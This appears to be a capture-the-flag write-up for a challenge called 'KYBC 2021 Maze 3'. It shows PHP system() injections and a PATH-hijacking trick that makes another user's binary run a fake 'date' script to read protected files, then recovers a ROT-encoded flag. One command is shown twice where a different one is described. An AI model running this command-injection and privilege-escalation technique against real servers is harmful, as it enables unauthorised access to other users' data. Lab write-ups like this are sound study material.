KYBC 2021 - Maze 3 Writeup

In order to start this challenge it was necessary to complete Maze 2 first

Third maze, third user. Let's check what's in home/ctf_user3

<?php system('ls -al /home/ctf_user3'); ?>

It looks like ctf_user2 owns image.txt and RAnd0m. Hovewer, neither concatenating the content of image.txt nor running the RAnd0m executable bring anything useful.

Let's try to inspect the binary then with the good ol' strings

<?php system('echo "strings /home/ctf_user3/RAnd0M" > /tmp/date && chmod 777 /tmp/date && export PATH=/tmp:$PATH && /home/ctf_user2/sysadmin'); ?>

No luck. What about od then?

<?php system('echo "strings /home/ctf_user3/RAnd0M" > /tmp/date && chmod 777 /tmp/date && export PATH=/tmp:$PATH && /home/ctf_user2/sysadmin'); ?>

Well that worked. Now I only need to figure out how to get out a proper hexdump from it. After a bit of digging, the man page comes to the rescue and provides with the syntax I need.

<?php system('echo "od -A x -t x1z -v /home/ctf_user3/RAnd0M" > /tmp/date && chmod 777 /tmp/date && export PATH=/tmp:$PATH && /home/ctf_user2/sysadmin'); ?>

Let's copy the hex dump into a txt file in my machine, recreate the binary and finally run strings on it

xxd -r -p rand.txt out.bin
strings out.bin

One of the strings seems to match the flag pattern pvkq{dbiH._dy_pvkqH.E.H.U.H._wo_?}.

Running it through a ROT decoder gives me flag{tryX._to_flagX.U.X.K.X._me_?}. Since the flag doesn't look too right and the system doesn't accept anyway, let's assume I probably messed up something while tinkering with od and manually fix it: flag{try_to_flag_me_?}.

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